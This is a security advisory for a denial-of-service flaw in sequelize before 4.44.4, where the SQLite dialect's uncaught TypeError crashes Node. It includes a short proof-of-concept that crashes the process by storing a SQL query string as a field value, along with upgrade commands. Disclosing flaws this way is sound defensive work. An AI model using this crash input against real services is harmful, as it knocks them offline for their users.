GHSA-fw4p-36j9-rrj3
Denial of Service in sequelize
- Severity
- Medium
- The publisher's own rating, not a CVSS score
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-248 Uncaught Exception
- Fix
4.44.4- Upgrade sequelize to this version or later
Description
Versions of sequelize prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a TypeError exception for the results variable. The results value may be undefined and trigger the error on a .map call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.
The following proof-of-concept crashes the Node process:
const Sequelize = require('sequelize');
const sequelize = new Sequelize({
dialect: 'sqlite',
storage: 'database.sqlite'
});
const TypeError = sequelize.define('TypeError', {
name: Sequelize.STRING,
});
TypeError.sync({force: true}).then(() => {
return TypeError.create({name: "SELECT tbl_name FROM sqlite_master"});
});
Recommendation
Upgrade to version 4.44.4 or later.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| sequelize | < 4.44.4 |
4.44.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
sequelize npm → 4.44.4
- npm
npm install sequelize@4.44.4- yarn
yarn add sequelize@4.44.4- pnpm
pnpm add sequelize@4.44.4
Weakness
CWE-248: Uncaught Exception
An exception is thrown from a function, but it is not caught.
References
Timeline
- Last updated by the source
- Published
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-v8fg-2rw7-q452 Sequelize: SQL Injection (Oracle DB) | Critical | Also affects sequelize |
| GHSA-6457-6jrx-69cr Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type | High | Also affects sequelize |
| GHSA-wrh9-cjv3-2hpw Sequelize vulnerable to SQL Injection via replacements | Critical | Also affects sequelize |
| GHSA-8c25-f3mj-v6h8 Sequelize information disclosure vulnerability | High | Also affects sequelize |
| GHSA-vqfx-gj96-3w95 Unsafe fall-through in getWhereConditions | High | Also affects sequelize |
| GHSA-f598-mfpv-gmfx Sequelize - Default support for “raw attributes” when using parentheses | Critical | Also affects sequelize |
| GHSA-5v9h-q3gj-c32x SQL Injection via GeoJSON in sequelize | Critical | Also affects sequelize |
| GHSA-2598-2f59-rmhq SQL Injection in sequelize | Critical | Also affects sequelize |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor